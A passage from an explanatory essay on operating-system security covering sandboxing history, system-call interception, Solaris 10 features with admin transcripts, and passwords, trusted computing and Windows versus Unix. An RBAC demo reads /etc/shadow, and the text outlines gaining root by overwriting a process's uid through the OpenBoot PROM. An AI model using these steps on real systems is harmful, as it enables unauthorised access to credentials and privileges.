in the original (caller's) domain.
Hydra was relevant from several (related) perspectives: protection, sandboxing, security,
virtualization, and even quality of service. The Hydra kernel's component for handling process
scheduling was called the Kernel Multiprocessing System (KMPS). While parametrized process
schedulers existed at that time, Hydra provided more flexibility through user-level schedulers.
In fact, multiple schedulers could run concurrently as user-level processes called Policy
Modules (PMs). The short-term scheduling decisions made in the kernel (by KMPS) were based
on parameters set by the PMs. There was also provision for having a "guarantee algorithm" for
allocating a rate guarantee (a fixed percentage of process cycles over a given period) to each
PM.
Varieties
Today sandboxes are used in numerous contexts. Sandbox environments range from those
that look like a complete operating environment to applications within, to those that provide a
minimum level of isolation (to a few system calls, say). Some common sandbox
implementation categories include:
Virtual machines (VMs) can be used to provide runtime sandboxes, which are helpful in
enhancing users' level of confidence in the associated computing platform. The Java virtual
machine is an example, although it can only be used to run Java programs (and is therefore
not general purpose).
Virtualization
A more detailed discussion on virtualization, including several example of sandboxing

mechanisms, is available in An Introduction to Virtualization.
Applications could contain a sandbox mechanism within themselves. Proof-carrying code

(PCC) is a technique used for safe execution of untrusted code. In the PCC system, the
recipient of such code has a set of rules guaranteeing safe execution. Proof-carrying code must
be in accordance with these safety rules (or safety policies), and carries a formal proof of this
compliance. Note that the producer of such code is untrusted, so the proof must be validated
by the recipient before code execution. The overall system is such that the programs are
tamperproof — any modification will either render the proof invalid, or in case the proof still
remains valid, it may not be a safety proof any more. In the case where the proof remains
valid and is a safety proof, the code may be executed with no harmful effects.
A layer could be implemented in user-space, perhaps as a set of libraries that intercept
library calls (in particular, invocations of system call stubs) and enforce sandboxing. A benefit
of this approach is that you do not need to modify the operating system kernel (which might be
operationally, technically, or politically disruptive to deployment). However, this approach
might not yield a secure, powerful, or flexible enough sandboxing mechanism, and is often
frowned upon by "the kernel people".
The sandboxing layer could be implemented within the operating system kernel.
Ideally you would design a system with explicit support for sandboxing, but it is often more
practical to retrofit sandboxing into existing systems. Intercepting system calls is a common
approach to creating sandboxes.
Intercepting System Calls
A common technique used for retrofitting sandboxing mechanisms is the "taking over", or
interception of system calls. While such implementation is a powerful tool and is trivial to
implement on most systems (usually without any kernel modifications, such as through
loadable modules), it could, depending upon the situation, be extremely difficult to use
effectively.
After you intercept a system call, you could do various things, such as:
Deny the system call

Audit the system call's invocation
Pre-process the arguments
Post-process the result
Replace the system call's implementation
There are several problems, however. If you are implementing a sandboxing mechanism (or
mechanisms for access control, auditing, capabilities, etc.), you may not have all the context
you need at the interception point. In many cases, even the original system call does not have
this context, because such context may be a new requirement, introduced by your mechanism.
Moreover, you may have to replicate the original system call's implementation because pre-
and post-processing do not suffice. In closed source systems, this is a bigger problem. Even
with an open source system, a system call could be off-loading most of its work to an internal
kernel function, and you may not wish to make kernel source modifications. Chaining of calls
(such as calling the original implementation from within the new one) will often not be atomic,
so race conditions are possible. You also might need to ensure that semantics are fully
preserved.
On many systems, the system call vector (usually an array of structures, each containing one
or more function pointers — implementation(s) of that particular system call) is accessible and
writable from within a kernel module. If not, there are workarounds. Even internal functions
could be overtaken, say, by instruction patching. However, such approaches might turn out to
be maintenance nightmares in case you are shipping a product that does this on an operating
system that is not your own.
Examples
Let us briefly discuss a few examples that involve sandboxing.
TRON - ULTRIX (1995)
TRON was an implementation of a process-level discretionary access control system for

ULTRIX. Using TRON, a user could specify capabilities for a process to access filesystem objects
(individual files, directories, and directory trees). Moreover, TRON provided protected domains
— restrictive execution environments with a specified set of filesystem access rights.
Rights on files included read, write, execute, delete, and modify (permissions), while rights on
directories included creation of new files or links to existing files. TRON enforced capabilities via
system call wrappers that were compiled into the kernel. Moreover, the implementation
modified the process structure, key system calls such as fork and exit, and the system call
vector itself.
LaudIt - Linux (1997)

I was a system administrator during my days at IIT Delhi as an undergraduate student. I had
considerable success with a Bastard Operator From Hell (BOFH) facade, but certain
mischievous users were quite relentless in pursuing their agenda. It was to foil them that I
initially came up with the idea of LaudIt. First implemented in 1997, LaudIt was perhaps one of
the earliest user-configurable and programmable system call interception mechanisms for the
Linux kernel.
I implemented LaudIt as a loadable kernel module that dynamically modified the system call
vector to provide different security policies. A user-interface and an API allowed a privileged
user to mark system calls as having alternate implementations. Such a re-routed system call
could have a chain of actions associated with the call's invocation. An action could be to log the
system call, or consult a set of rules to allow or disallow the invocation to proceed. If no
existing rule involved a re-routed system call, its entry in the system call vector was restored
to its original value.
LaudIt required no modification (or recompilation) of the kernel itself, and could be toggled on
or off.
Thus, using LaudIt, system calls could be audited, denied, or re-routed on a per-process (or
per-user) basis. It was also possible to associate user-space programs with certain system call
events. For example, you could implement per-file per-user passwords on files.
ECLIPSE/BSD (1997)
A description can be found here.
Ensim Private Servers (1999)
Ensim Corporation did pioneering work in the area of virtualizing operating systems on
commodity hardware. Ensim's Virtual Private Server (VPS) technology allows you to securely
partition an operating system in software, with quality of service, complete isolation, and
manageability. There exist versions for Solaris, Linux, and Windows. Although all solutions are
kernel-based, none of these implementations require source code changes to the kernel.
Solaris Zones (2004)
Sun introduced static partitioning in 1996 on its E10K family of servers. The partitions, or
domains, were defined by a physical subset of resources - such as a system board with some
processors, memory, and I/O buses. A domain could span multiple boards, but could not be
smaller than a board. Each domain ran its own copy of Solaris. In 1999, Sun made this
partitioning "dynamic" (known as Dynamic System Domains) in the sense that resources could
be moved from one domain to another.
By the year 2002, Sun had also introduced Solaris Containers: execution environments with
limits on resource consumption, existing within a single copy of Solaris. Sun has been
improving and adding functionality to its Resource Manager (SRM) product, which was
integrated with the operating system beginning with Solaris 9. SRM is used to do intra-domain
management of resources such as CPU usage, virtual memory, maximum number of processes,
maximum logins, connect time, disk space, etc.
The newest Sun reincarnation of these concepts is called "Zones": a feature in the upcoming
Solaris 10. According to Sun, the concept is derived from the BSD "jail" concept: a Zone (also
known as a "trusted container") is an isolated and secure execution environment that appears
as a "real machine" to applications. There is only one copy of the Solaris kernel.
An example of using Zones is provided in the section on Solaris security.
Security in Solaris 10
The complexity of the "Security Problem", and of its attempted solutions may
be appreciated by looking at what all could be listed under a loosely defined security umbrella.
While Linux is a commonly chosen system for implementing research ideas — security-related
and otherwise — Solaris 10 has a very impressive out-of-the-box security repertoire amongst
general purpose operating systems. Using Solaris 10 as an example, we see in this section that
the collection of security-related mechanisms in a modern operating system could amount to a
dizzying array of technologies. Knowing what these are in a given system is the first step — an
easy one. The next step is to understand them, but the hardest part is using these effectively.
Note that some mechanisms and features listed here also exist in Microsoft's recent systems
(consider Microsoft Security Services in Windows Server 2003).
Login Administration
Solaris provides various tools for monitoring and controlling a user's ability to access the
system. There is support for multiple password encryption algorithms, which may be
implemented as 3rd party modules.
Resource Management
In Solaris, a task is a group of processes representing a component of some workload. A task

is a manageable entity. Moreover, each workload (possibly consisting of several tasks) is
tagged with a project identifier: a network-wide name for related work. Each logging in user
must be assigned at least a default project.
Solaris provides flexible resource management through a number of control mechanisms:
Partitioning (for binding a workload to a subset of the system's available resources)

Constraining (for setting bounds on the consumption of specific resources for a workload)
Scheduling
Examples of available resource controls include CPU shares, total amount of locked memory
allowed, limits on the sizes of the heap, the stack, and overall address space (summed over
segment sizes), and limits on the number of various entities such as IPC objects, lightweight
processes, file descriptors, etc.
# prctl $$
...
# cat /etc/project
...
test-project:100::root::task.max-lwps=(privileged,2,deny)
# newtask -p test-project /bin/zsh
# id -p
uid=0(root) gid=1(other) projid=100(test-project)
# prctl -n task.max-lwps -i project test-project
3536: prctl -n task.max-lwps -i project test-project
task.max-lwps
2 privileged deny
2147483647 system deny [max]
# sleep 100 &
[1] 3563
# sleep 100 &
zsh: fork failed: resource temporarily unavailable
The resource capping daemon, rcapd, regulates physical memory consumption by processes
running in projects that have resource caps defined. Per-project physical memory caps are
supported.
Zones
Zones provide a virtual mapping from the application to the platform resources. They could be
simply understood as "application containers": a software partitioning scheme so that operating
system services may be virtualized to yield similar, but isolated execution environments for
applications.
The software limit on the maximum number of Zones per-machine is 8192, although in real life
it would depend upon available resources, and on "normal" systems, the allowable number
would be far lesser.
Note that one zone, called the global zone, is always present, and represents the conventional
(default) Solaris execution environment. The global zone is the only zone that is bootable from
physical hardware. Additional zones are configured, installed, and removed only from within
the global zone. However, each zone can be administered independently. Therefore, zones
allow delegation of administration without compromising overall system security.
Non-global zones can be used in association with resource management for better control and
more efficient resource utilization. Once a process is placed in a non-global zone, the process
(or any of its descendents) will be confined to that zone. A non-global zone's privileges are
always a subset of the global zone's.
An example of using zones follows.
Initially, you only have one zone: the global zone. The zonecfg command is used to create
and configure a new zone.
# zoneadm list
global
# zonecfg -z test-zone
test-zone: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:test-zone> create
zonecfg:test-zone> set zonepath=/zones/test-zone
zonecfg:test-zone> set autoboot=false
zonecfg:test-zone> add fs
zonecfg:test-zone:fs> set dir=/shared/tmp
zonecfg:test-zone:fs> set special=/tmp
zonecfg:test-zone:fs> set type=lofs
zonecfg:test-zone:fs> end
zonecfg:test-zone> add net
zonecfg:test-zone:net> set address=10.0.0.10
zonecfg:test-zone:net> set physical=iprb0
zonecfg:test-zone:net> end
zonecfg:test-zone> add device
zonecfg:test-zone:device> set match=/dev/fd0*
zonecfg:test-zone:device> end
zonecfg:test-zone> verify
zonecfg:test-zone> commit
zonecfg:test-zone> exit
The zone must be installed before it can be booted and used.
# zoneadm -z test-zone install
Preparing to install zone <test-zone>.
Creating list of files to copy from the global zone.
Copying <2178> files to the zone.
Initializing zone product registry.
Determining zone package initialization order.
Preparing to initializing <681> packages on the zone.
Initialized <681> packages on zone.
Zone <test-zone> is initialized.
...
Booting a zone is similar in many respects to booting a regular Solaris system. You can log in
to a booted zone using the zlogin command.
# zoneadm -z test-zone boot
# zoneadm list -v
ID NAME STATUS PATH
0 global running /
1 test-zone running /zones/test-zone
# zonename
global
# zlogin -C test-zone
[Connected to 'test-zone' console]

/*
* The first time you do this, you must
* set language, time zone, root password, etc.
* Zone will reboot.
*/
test-zone console login: root
Password: ********
Jul 5 18:49:55 test-zone login: ROOT LOGIN /dev/console
Sun Microsystems Inc. SunOS 5.10 s10_58 May 2004
Now you can explore the isolation and virtualization aspects of zones. Note that a zone is not
identical to a conventional Solaris environment. For example, a zone cannot be an NFS server;
you cannot use the mknod system call inside a zone, and so on.
# zonename
test-zone
# ls /shared/tmp
... (files from global /tmp)
# ls /proc
10640 10691 ...
10643 10730 ...
10666 10740 ...
# ifconfig -a
iprb0:1: flags=...
inet 10.0.0.10 netmask ff000000
lo0:1: flags=...
inet 127.0.0.1 netmask ff000000
Role-Based Access Control (RBAC)
RBAC is an alternative to the traditional all-or-nothing super-user model. RBAC is based on the
principle that no user should have more privileges than are necessary for performing an
operation (the principle of least privilege). Following are key aspects of RBAC:
Using RBAC, you can configure any number of roles (special identities for executing
privileged programs, such as setuid ones). Examples of common roles are Primary
Administrator, System Administrator, and Operator.
These roles are assigned to users.
A role's capabilities become available to a user upon assuming the role.
Roles derive their capabilities from rights profiles, which contain authorizations (permissions
for performing a normally disallowed set of operations) and privileged commands (that is,
commands that need to be executed with administrator capabilities).
Privileges are distinct rights that can be granted to a role, a user, a command, or even the
system. Privileges are logically grouped into categories such as FILE, IPC, NET, PROC, and SYS.
Note that without the appropriate privilege, a process will not be able to perform a privileged
operation (the kernel will ensure it). However, without an authorization, a user may not be
able to run a privileged application (or perform certain operations within such an application).
# ppriv -l
cpc_cpu
dtrace_kernel
dtrace_proc
...
sys_suser_compat
sys_time
Now, let us try to read a file that we do not have privileges to read. The -D option of ppriv will
turn on privilege debugging.
$ ppriv -e -D cat /etc/shadow

cat[1399]: missing privilege "file_dac_read" \
(euid = 100, syscall = 225) needed at ufs_iaccess+0xd2
cat: cannot open /etc/shadow
We could create a new role, say called "filerole", and assign ourselves to that role.
# roleadd -s /bin/pfksh -d /home/filerole \
-K defaultpriv=basic,file_dac_read filerole
# passwd filerole
# New Password: ********
# Re-enter new Password: ********
passwd: password successfully changed for filerole
# mkdir /home/filerole
# chown filerole:other /home/filerole
# usermod amit -R filerole
# su - amit
$ su - filerole
Password: ********
$ cat /etc/shadow
You can list the privileges that your current shell has as follows:
$ ppriv -v $$
...
Device Management
Solaris provides two mechanisms for controlling device access:
Device Policy - access to a particular device needs a certain set of privileges. For example, in
order to access a network device directly (for sending raw packets, say), you would need the
net_rawaccess privilege. The getdevpolicy command can be used to inspect the system's
device policy:
# getdevpolicy
DEFAULT
read_priv_set=none
write_priv_set=none
ip:*
read_priv_set=net_rawaccess
write_priv_set=net_rawaccess
icmp:*
read_priv_set=net_icmpaccess
write_priv_set=net_icmpaccess
...
spdsock:*
read_priv_set=sys_net_config
write_priv_set=sys_net_config
Device Allocation - use of a device requires authorization, and only one user may allocate a
device at a time. The list_devices command can be used to list allocable devices:
# list_devices -l
device: fd0 type: fd files: /dev/diskette ...
device: sr0 type: sr files: /dev/sr0 ...
It is also possible to prevent a device from being used entirely.
Auditing
Solaris supports auditing, that is, collection of data about system usage, at the kernel level.
Solaris auditing can be configured to generate audit records for a wide variety of events.
Basic Audit Reporting Tool (BART)
Unrelated to the kernel-based auditing mentioned earlier, BART is a tool that can be used to
determine what file-level changes have occurred on a system relative to a known baseline.
Thus, BART is a file-tracking tool, and it operates at the filesystem level. It allows you to define
which files to monitor, and you can use it to create a control manifest — a baseline, or a
trusted data set — from a fully installed and configured system. For each file being monitored,
the manifest includes information about the file's attributes, its MD5 checksum, etc.
# bart create -R /etc > /tmp/etc.ctrl.manifest
# touch /etc/DUMMY
# chmod 444 /etc/zshenv
# bart create -R /etc > /tmp/etc.test.manifest
# cd /tmp
# bart compare etc.ctrl.manifest etc.test.manifest
/DUMMY:
delete
/zshenv:
mode control: 100444 test:100644
acl control:user::r--,group::r--,mask:r--,other:r-- \
test:user::rw-,group::r--,mask:r--,other:r--
Automated Security Enhancement Tool (ASET)
ASET is a security package that provides automated administration tools for controlling and
monitoring system security. It runs various tasks that perform specific checks and adjustments
based on the level at which ASET is run — one of low, medium, or high (access permissions of
many files restricted). ASET tasks include:
System file permissions tuning

System file checks
User and group checks
System configuration files check (in /etc)
Environment variables check
EEPROM check
Firewall setup
In a typical usage scenario, ASET would be run periodically via a crontab entry.
Solaris Security Toolkit (JASS)
This toolkit, also known as the JumpStart Architecture and Security Scripts (JASS), helps in
simplifying and automating the process of securing a Solaris system. This process includes
minimizing (removal of unnecessary packages) and hardening (performing modifications aimed
at improving system security). JASS includes a profiling tool, a reporting tool, and undo
capability.
Access Control Lists (ACLs)
In additional to conventional Unix file permissions, Solaris supports access control lists for files
and directories. Using ACLs, you can define default and specific permissions for the file or
directory owner, group, others, and for specific users or groups.
The getfacl and setfacl commands can be used to view and set file ACLs, respectively.
Solaris Cryptographic Services
Solaris includes a central framework of cryptographic services for kernel-level and user-level
consumers, such as Internet Key Exchange (IKE), Kerberos, IPsec, and end-users
encrypting/decrypting data.
The framework includes user-level, kernel-level, and hardware plugins.
# cryptoadm list
user-level providers:
/usr/lib/security/$ISA/pkcs11_kernel.so
/usr/lib/security/$ISA/pkcs11_softtoken.so
kernel software providers:
des
aes
arcfour
blowfish
sha1
md5
rsa
kernel hardware providers:
Solaris Authentication Services
Solaris includes support for various authentication services and secure communication
mechanisms:
Secure RPC and Secure NFS

Pluggable Authentication Module (PAM)
Simple Authentication and Security Layer (SASL), a layer that provides authentication and
optional security services to network protocols
Sun Enterprise Authentication Module (SEAM), a client/server architecture that provides
secure transactions over networks. It is a single-sign-on system providing once-per-session
user authentication, as well as data integrity and privacy. Note that SEAM is essentially
Kerberos V5.
Support for Smart Cards
Solaris Secure Shell
While PAM is widely used on many systems today, it was introduced on Solaris. PAM provides a
uniform abstraction (through a library interface) for a number of authentication mechanisms.
Thus, if an authentication mechanism changes, or a new one is introduced, services that use
these mechanisms would not need to be modified.
Securing the PROM
On SPARC hardware, you can gain access to the OpenBoot PROM, even while the operating
system is running (using the Stop-A keyboard sequence). This has obvious (and some non-
obvious) security implications, such as:
You could boot the system into single-user mode

You could boot the system off another device, including the network
You can read and write physical memory from within the PROM. You could use this to gain
super-user privileges. Say, you are logged in as a normal user. If you know the address of the
proc structure of your running shell, you could compute the address of the uid field within the
credential structure, and overwrite it with a zero. Note that on recent versions of Solaris, it
may not be possible for a normal user to determine the address of a process structure.
Thus, the administrator must protect access to the PROM with a password, or must disable
breaking into PROM entirely.
Preventing Stack Executability
You can set the noexec_user_stack system variable to 1 in /etc/system to mark the stack
of every process in the system as non-executable. Attempts to execute "code" from the stack
will result in a SIGSEGV (segmentation fault). Moreover, such attempts can be logged by
setting noexec_user_stack_log to 1.
Note that this feature is available on SPARC and AMD64, but not IA-32, as the latter does not
implement a per-page execute bit in hardware.
Automated Patching
Solaris includes support for downloading, verifying the signatures of, and installing patches
automatically, possibly based on a specified criteria (for example, installations of those patches
that would not require a system reboot).
Miscellaneous
A common, although not necessary, side-effect of enhancing a system's security is that it
becomes harder to program, and harder to use. Security related steps that are exposed to end-
users in that the users are required must be easy to understand, and easy to use. If not, users
may bypass, even altogether, steps that are especially frustrating.
This section contains the following subsections:
o Passwords
o Biometrics
o Plan 9
o Trusted Computing
o Obscurity
o Fear, Uncertainty, and Doubt
o Computers and Law Enforcement
o Grab Bag
Passwords
Passwords are one of the weakest links in the security chain, and expectedly so — passwords
involve humans. Consider several problematic aspects of passwords:
Passwords are hard to remember.

In today's world of pervasive computing, there are too many passwords. Consider my
personal example: I work for a big corporation, and I have as many as fourteen passwords —
not counting passwords for any research computers I may have at work!
Each password system may have different rules regarding the kind of passwords allowed,
and their expiration. Referring to my example of fourteen passwords, making most of them the
same would either be impossible, or would require non-trivial mathematical analysis.
Passwords have numerous operational steps (storing, initializing, resetting, verifying, and
so on). Each password system may implement these differently.
It is debatable as to what constitutes a "good" password. A convenient definition of a "bad"
password is that it is relatively easy to figure out (heuristically, or through brute-force). Many
good-password guidelines result in passwords that are particularly hard to remember.
Passwords sent in clear over a network are easy to snoop.
Often, default passwords (such as those pre-set by a component's manufacturer) are left
unchanged by users. These lead to trivial subversion of security.
Most web sites using passwords have provisions for password recovery, given that users
tend to forget their passwords frequently. Such recovery mechanisms often use weak
validation.
Operating systems have been adopting single sign-on (usually only one password to
remember) mechanisms that ensure security and integrity of sensitive information. The most
popular of these is Kerberos, a key distribution and authentication system. The Kerberos
protocol is meant for use on insecure networks, and is based on a protocol originally published
in 1978 by Roger Needham and Michael Schroeder: researchers at the Xerox Palo Alto
Research Center.
Kerberos has several open source and commercial implementations. In particular, Microsoft
Windows and Mac OS X use Kerberos.
What to put a password on?
It could be difficult to establish the "best" (for the end-user, for the administrator, for the
manufacturer, for a particular situation) subsystem to protect using a password. A personal
computer could have a power-on firmware password, a boot password, a disk-drive password,
and several operating system or application level passwords. Sometimes, external hardware
(for example, a Smart Card or a finger print reader) is used for authentication.
Often, seemingly strong password mechanisms may have backdoors, such as a special
password that is always accepted, or a special trigger that bypasses the mechanism. For
example, the password mechanism in Apple's Open Firmware can be rendered ineffective by
altering the machine's memory configuration, etc.
An unrecoverable and backdoor-free password on a critical component (like a disk-drive) offers

strong privacy, especially in case of theft. However, users do forget their passwords!
Biometrics
A popular (perhaps due to the movies), though not yet widely used, form of authentication is
biometrics. An alternative to password-based identity, biometrics has two primary pieces of
information: the biometric data (BD), and the biometric code (BC). BD is biometric information
as captured or measured, say, in real-time, by a biometric reader. BC is a template of a user's
individual biometric information, registered and stored in the system. The software in the
biometric system tries to match a BC given a BD, or verify a BD against a particular BC. A
successful authentication would then lead to appropriate authorization.
An important benefit of biometrics is convenience — while you may forget a password, you do
not need to "remember", say, your fingerprint or retina information. However, the concept is
not without serious drawbacks. If somebody learns your password, you could always change it.
If somebody "knows" your biometric information (for example, somebody creates a replica of
your fingerprints), you cannot change that. Moreover, present-day biometric readers often
have rather high error rates.
Plan 9
Plan 9 from Outer Space, the movie (1959), is often dubbed as the worst movie ever. Still,
many consider it to be extremely watchable, perhaps partly because of its amazingly poor
qualities.
Plan 9, the operating system, has been rather unsuccessful, particularly when compared to
UNIX. It must be noted that inventors of UNIX were involved in Plan 9's creation too. Still, Plan
9 has been a source of several good ideas, some of which made their way into other operating
systems (for example, the /proc filesystem).
Plan 9 is a departure from Unix in many ways. In a particular sense, Plan 9 might be
considered an extreme case of Unix: while many objects are files on Unix, everything is a file
on Plan 9.
Plan 9's current security architecture is based around a per-user self-contained agent called
factotum. The word comes from Latin fac (meaning "do") and totum (meaning "everything").
Thus, a factotum is something that has many diverse activities or responsibilities — a general
servant, say. Factotum is implemented as a Plan 9 file server (mounted on /mnt/factotum). It
manages a user's keys, and negotiates all security interactions with applications and services.
It is helpful to think of factotum as being similar to ssh-agent, except that it is an agent for all
applications.
The idea is to limit security-related code to a single program, resulting in uniformity, easy
update and fault isolation, better sandboxing, and so on. For example, if a security-related
algorithm or protocol is compiled into various applications, an update would require the
application to be restarted at the very least, and perhaps be relinked, or even recompiled. With
factotum, a program that would otherwise have been compiled with cryptographic code would
communicate with factotum agents.
The rationale of this approach is that since secure protocols and algorithms are well-
understood and tested, they are usually not the weakest link, and thus factoring them out in a
single code base is a good thing. Intuitively, it might seem that factotum would be a single
point of failure — an attacker can now just focus on "breaking" factotum. However, the
designers of Plan 9 argue that it is better to have "... a simple security architecture built upon a
small trusted code base that is easy to verify (whether by manual or automatic means), easy
to understand, and easy to use."
Moreover, if a security service or protocol needs a certain privilege level, it is factotum, and not
the application, that needs to run with that privilege level. In other words, privileged execution
is limited to a single process, with a small code base. The scheme allows a factotum process to
prevent anybody (including the owner of the process) to access its memory. This is achieved
by writing the word private to the /proc/pid/ctl file. Note that the only way to examine a
process's memory in Plan 9 is through the /proc interface.
A similar concept is privilege separation, as used in OpenBSD.
Trusted Computing
It is useful to have computing platforms in which we can have a greater level of confidence
than is possible today. Intuitively, you could "trust" a system more if it is "known" not to be
easily modifiable: an embedded system, say. Still, an embedded system is not guaranteed to
be secure, and there have been demonstrable security flaws in embedded systems.
The Trusted Computing Platform Alliance (TCPA) was a collaborative initiative involving major
industry players (IBM, Intel, Microsoft, and some others). The successor to TCPA is the Trusted
Computing Group (TCG), whose goal is to develop vendor-neutral standard specifications for
trusted computing.
Trusted Computing is a technology that exists today, but isn't quite there yet. The retarding
factors to its success are not so much technical as they are related to deployment and
adoption. Creating a trusted computing environment requires changes in both hardware and
software, hence the inertia. The fundamental idea is that users need to have greater (but still
not 100%) confidence that the platform in front of them has not been subverted. The "trust"
relates to questions such as:
How can you trust a computer kiosk at the airport? How can be you sure that a login
prompt is not some rogue program logging your keystrokes?
How can you ensure that the operating system you are booting has not been tampered
with?
How can you be sure about the identity of a remote computer? What if it is a rogue
computer with a stolen private key?
A Trusted Platform is a computing platform that has a trusted component — tamper-resistant

built-in hardware, say. Consider one example, that of the TCPA/TCG platform, in which the
trusted hardware is called the Trusted Platform Module (TPM). The TPM is the core of the
trusted subsystem, with features such as:
Functional Units: A cryptographic hash unit (SHA-1), a related mechanism for the
calculation and verification of message authentication values (that is, an HMAC), a random
number generator, and an RSA engine for key-pair generation, encryption, decryption, and
signing.
Memory: A few critical keys are stored in non-volatile memory. These keys never leave the
TPM. There is some amount of volatile memory for storing a certain number of other keys.
When not loaded in the TPM, such keys can be stored externally after being "wrapped" with a
specific TPM key, the Storage Root Key (SRK). There are several registers (platform
configuration registers, or PCRs) that are used to store SHA-1 hashes of entities representing
the platform's integrity (for example, the Master Boot Record).
Generic benefits of Trusted Computing include more trustworthy systems (better platform
integrity), greater and stronger personal privacy, and better data security. More importantly,
Trusted Computing has the potential to make security simpler.
Examples of Use
Key-pairs can be generated on-chip so that the private key only leaves the chip after it has
been "wrapped" (encrypted with a chip-resident key). Thus, the question of a private key being
stolen doesn't arise.
Data can be signed, again, without the private key ever leaving the chip.
Sensitive data, such as a symmetric encryption key, can be "sealed" with respect to a PCR
(the hash value within, to be precise). Such data cannot be unsealed if the PCR has a different
value from which the data was sealed under.
Note that a TPM is not meant to be 100% tamper-proof. It is only tamper-resistant, and might
not stand up to an attack from the owner himself.
There are certain aspects of Trusted Computing that are often misunderstood, such as its
relationship to the controversial Digital Rights Management (DRM). Consider a few noteworthy
aspects:
Trusted Computing is not mandatory. If a user chooses not to use it, it can be turned-off at
the software or hardware level.
Trusted Computing does not make user information visible, or otherwise needs it in a
realistically privacy-threatening manner. It does not police the user, the computer, or any
specific hardware in the computer (contrary to some allegations involving the use of "Approved
Hardware Lists", "Serial Number Blacklists", "Approved OS Lists", etc.)
Trusted Computing and DRM are neither prerequisites of each other, nor does one
necessitate the other. Although an in-software DRM technology would likely have a "better"
(more powerful, or heavy-handed) implementation using Trusted Computing, DRM can be
implemented without it.
Trusted Computing by itself will not protect a system from malicious software. However, it
would provide means of making software more trustworthy, and it would help limit the amount
of damage malware can inflict. For example, it would be possible to boot into a safe
environment that is guaranteed to be uncorrupted.
Trusted Computing is not tied to Microsoft Windows. In fact, relevant code is available
today for Linux, under the GPL.
Microsoft's NGSCB
Microsoft's "Next-Generation Secure Computing Base for Windows" (NGSCB, formerly called
"Palladium") is Microsoft's effort for creating a Windows-based trusted platform. Essentially a
trusted execution subsystem, NGSCB requires architectural changes to both hardware and
software, including the Windows kernel. At this time, this technology seems to be several years
away from deployment and potential mainstream adoption. More importantly, while partly
similar in concept to TCG's efforts, NGSCB is not an implementation of the existing
specifications developed by TCPA or TCG. NGSCB has a wider scope, and requires changes to
more hardware components (such as the CPU and memory controllers).
Obscurity
"Security through obscurity" has historically been a controversial issue. It refers to a
deliberate, strategic hiding of information about the implementation or design of a component.
Perhaps there was a time when such an approach could have been justified to a greater degree
as compared to today. Despite being outwitted time and again, the industry never seems to
lose its faith in obfuscation as a defense mechanism. While on the one hand, if clever hiding of
certain aspects of a program might be worthwhile, if only to mislead an attacker, it could be a
colossal error to rely upon such approaches for security. In fact, it could be argued that since
an attacker is likely to thrive on challenge, using deception to make something harder to break
might actually motivate him more.
Randomization
We saw earlier that randomization is a rather popular approach currently being used to make it
difficult, or practically impossible, for memory-based attacks to succeed. This is a good
example of obscurity being put to intellectually defensible use.
In addition to objects in the address space of a process (or the kernel), other aspects of a
system could be randomized to create hardened systems. For example, you could create a
system where each instance of it has a universally unique ABI.
Many seem to agree today that full disclosure is a better approach. In particular, making the
design or implementation of something public would result in a better testing of its security
(more people, with diverse experience and expertise, would be able to review, for example).
Sometimes an attacker may not even have to de-obfuscate (or reverse-engineer) an

obfuscated component in order to do his bidding. Consider the example of a license
management framework that uses public key cryptography and extensive obfuscation to thwart
attacks on itself. Such a system might be trivial to break, say, via minor instruction
manipulation, without actually having to understand how the overall scheme works.
That said, information hiding is an interesting field in itself. Steganography, hiding secret
information in otherwise publicly available information, has attracted great attention in the past
few years.
Cryptography protects secret information by transforming it in a way such that only intended
parties can use it. Steganography tries to hide the very existence of such information. Thus,
the two are potentially complementary.
FUD
In the past few years, the issue of quantifying Return On Security Investment (ROSI) has been
raised. In Finally, a real return on security spending [CIO Magazine, February 15, 2002],
Berinato claims that fear, uncertainty, and doubt (FUD) has been used to sell security ("if you
scare them, they will spend"). The concept could be loosely compared to situations consumers
deal with in various purchasing scenarios: "You really need that paint-protection and rust-
proofing", or "You really ought to buy the 3-year extended warranty on this floppy-diskette: it's
only $39.95 + tax!" CIOs are interested in determining if spending a certain amount of money
would give them their money's worth of security.
While it is a tough problem to define the worth of a security investment, models exist, and new
ones are emerging, for doing so.
Computers and Law Enforcement

High-tech crime is getting more cutting-edge, while low-tech crime is getting high-tech. With
the rising criticality of electronic evidence in criminal cases, it is becoming increasingly
important for upholders of the law — the police, prosecutors, judges — to have computer skills,
and in particular, be well-versed in digital forensics. It is going to be a multi-dimensional
challenge for law-enforcement to tackle this problem.
Grab Bag
There are numerous other technologies or mechanisms that either use, support, enhance, or
otherwise involve security and privacy. While we shall not discuss any of these, some examples
are:
Digital Signatures, Watermarking

Internet Key Exchange (IKE)
Internet Protocol Security Protocol (IPSEC)
Private Key Infrastructure (PKI)
Secure Multi-Purpose Internet Mail Extensions (S-MIME)
Smart Cards
Transport Layer Security (TLS)
Virtual Private Networks (VPNs)
Unix vs. Microsoft Windows

Microsoft Windows is widely regarded as the epitome of insecure platforms — a platform
fraught with innumerable security problems. Windows systems top the charts in perhaps every
major vulnerability and incident list. In contrast, Unix systems are perceived to be considerably
more secure, because __________ (your favorite reason here).
How Did Windows Become "So Insecure"?

I posed this question to a few people: technology experts, and non-technical users. I found
that very few people had actually ever given this any serious thought. They "just knew" that
Windows is "the most insecure platform." Those who were willing to think on-the-fly ascribed
their beliefs to gut-feeling, perpetual digital disasters crashing down upon Windows (as
experienced first-hand or as reported by the media), statistics (incidents and vulnerabilities
published by respectable organizations), folklore, inherent (sometimes inexplicable) hatred of
all things Microsoft, inherent affinity for Unix, etc. Some conjectures took Microsoft's monopoly
into account, concluding that Microsoft "doesn't really care" about security, as they can afford
not to, and still be successful.
Many of these people are Windows users.
Conundrum
Nevertheless, Windows NT was designed to be a secure system, with provisions for even more
security than initially implemented. It provides an impressive set of security mechanisms
(Windows 2000 Security Services, Windows Server 2003 Security Services), with more being
worked on (Windows XP Service Pack 2, Next-Generation Secure Computing Base).
Current Windows systems have some of the highest security ratings (as compared to other
systems). Note that this is factual information, regardless of how much sectarian laughter it
induces.
However, the number of documented security issues and the real-life rampant insecurity of
Windows are not speculations either! The problems are real, both for Microsoft, and for
Windows users.
There is no single incontrovertible explanation of this paradox, and it is not our goal to
conclude "which is better" or "which is more secure." Perhaps the best we could do is to
attempt a brief objective (and dispassionate) discussion on the topic.
I chose to put my personal overall standpoint on Windows in a digressionary section: Windows:

My Personal View.
Defining Windows
Microsoft has dabbled with numerous operating systems and environments, similarly to Apple
(refer to A History of Apple's Operating Systems). However, unlike Apple, whose trial-and-error
process was rather excruciating, Microsoft has had considerable success in most cases.
